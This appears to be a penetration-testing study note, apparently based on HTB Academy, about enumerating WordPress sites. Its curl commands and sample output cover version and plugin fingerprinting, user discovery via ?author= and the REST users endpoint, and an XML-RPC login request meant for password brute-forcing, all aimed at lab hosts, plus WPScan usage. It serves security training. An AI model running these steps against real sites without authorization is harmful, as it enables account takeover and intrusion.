tree -L 1 /var/www/html
.
├── index.php
├── license.txt
├── readme.html
├── wp-activate.php
├── wp-admin
├── wp-blog-header.php
├── wp-comments-post.php
├── wp-config.php
├── wp-config-sample.php
├── wp-content
├── wp-cron.php
├── wp-includes
├── wp-links-opml.php
├── wp-load.php
├── wp-login.php
├── wp-mail.php
├── wp-settings.php
├── wp-signup.php
├── wp-trackback.php
└── xmlrpc.php
index.php
: homepagewp-activate.php
: used for email and website activationwp-admin
: folder containing multiple backend/dashboard sitesxmlrpc.php
: XML API (soon-ish deprecated because of the new REST API)wp-config.php
: contains info like db name and credentials and other configs for wordpress
Role | Description |
---|---|
Administrator | This user has access to administrative features within the website. This includes adding and deleting users and posts, as well as editing source code. |
Editor | An editor can publish and manage posts, including the posts of other users. |
Author | Authors can publish and manage their own posts. |
Contributor | These users can write and manage their own posts but cannot publish them. |
Subscriber | These are normal users who can browse posts and edit their profiles. |
source: HTB Academy
Via source code in html-head:
<meta name="generator" content="WordPress 5.3.3" />
or as bash command:
curl -s -X GET https://<wordpress-page> | grep '<meta name="generator"'
Sometimes the version can be in the CSS files that are linked:
<link rel='stylesheet' id='bootstrap-css' href='<url>/wp-content/themes/ben_theme/css/bootstrap.css?ver=5.3.3' type='text/css' media='all' />
<link rel='stylesheet' id='transportex-style-css' href='<url>/wp-content/themes/ben_theme/style.css?ver=5.3.3' type='text/css' media='all' />
<link rel='stylesheet' id='transportex_color-css' href='<url>/wp-content/themes/ben_theme/css/colors/default.css?ver=5.3.3' type='text/css' media='all' />
<link rel='stylesheet' id='smartmenus-css' href='<url>/wp-content/themes/ben_theme/css/jquery.smartmenus.bootstrap.css?ver=5.3.3' type='text/css' media='all' />
Or in the JavaScript files that are linked into the index page/homepage
curl -s -X GET <url> | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2
curl -s -X GET <url> | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2
Tools like ffuf and/or WPScan can help here - you could fuzz the content/plugin
dir.
Active plugins should not be our only area of focus when assessing a WordPress website. Even if a plugin is deactivated, it may still be accessible, and therefore we can gain access to its associated scripts and functions. Deactivating a vulnerable plugin does not improve the WordPress site's security. It is best practice to either remove or keep up-to-date any unused plugins.
Listing directory and getting a nice output:
curl -s -X GET http://blog.inlanefreight.com/wp-content/plugins/mail-masta/ | html2text
Result:
****** Index of /wp-content/plugins/mail-masta ******
[[ICO]] Name Last_modified Size Description
===========================================================================
[[PARENTDIR]] Parent_Directory -
[[DIR]] amazon_api/ 2020-05-13 18:01 -
[[DIR]] inc/ 2020-05-13 18:01 -
[[DIR]] lib/ 2020-05-13 18:01 -
[[ ]] plugin-interface.php 2020-05-13 18:01 88K
[[TXT]] readme.txt 2020-05-13 18:01 2.2K
===========================================================================
Apache/2.4.29 (Ubuntu) Server at blog.inlanefreight.com Port 80
Find the listing with wp-scan:
wpscan --url http://157.245.33.77:30116
Or try it with the id like so:
curl -s -I http://blog.inlanefreight.com/?author=1
HTTP/1.1 301 Moved Permanently
Date: Wed, 13 May 2020 20:47:08 GMT
Server: Apache/2.4.29 (Ubuntu)
X-Redirect-By: WordPress
Location: http://blog.inlanefreight.com/index.php/author/admin/
Content-Length: 0
Content-Type: text/html; charset=UTF-8
301 means user exists, if user doesn't exist Wordpress will result 404 Not Found Error.
curl http://blog.inlanefreight.com/wp-json/wp/v2/users | jq
[
{
"id": 1,
"name": "admin",
"url": "",
"description": "",
"link": "http://blog.inlanefreight.com/index.php/author/admin/",
<SNIP>
},
{
"id": 2,
"name": "ch4p",
"url": "",
"description": "",
"link": "http://blog.inlanefreight.com/index.php/author/ch4p/",
<SNIP>
},
<SNIP>
After having found valid users, we can try to mount a password brute-force attack via xmlrpc.php
curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>CORRECT-PASSWORD</value></param></params></methodCall>" http://blog.inlanefreight.com/xmlrpc.php
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><struct>
<member><name>isAdmin</name><value><boolean>1</boolean></value></member>
<member><name>url</name><value><string>http://blog.inlanefreight.com/</string></value></member>
<member><name>blogid</name><value><string>1</string></value></member>
<member><name>blogName</name><value><string>Inlanefreight</string></value></member>
<member><name>xmlrpc</name><value><string>http://blog.inlanefreight.com/xmlrpc.php</string></value></member>
</struct></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
If the creds are wrong, the endpoint will return an 403
Error.
gem install wpscan
Get Token from WPVulnDB, which is used by WPScan to scan for vulnerability and exploit proof of concepts (POC) and reports.
The free plan allows up to 25 requests per day.
create an account and copy the API token from the users page. This token can then be supplied to WPScan using the --api-token
parameter.
Use --enumerate
flag to enumerate various components. ie. "ALL PLUGINS" can be enumerated using the arguments --enumerate ap
.
Basic Scan:
wpscan --url http://my.target.com --enumerate --api-token Abbgdtr34562<SNIP>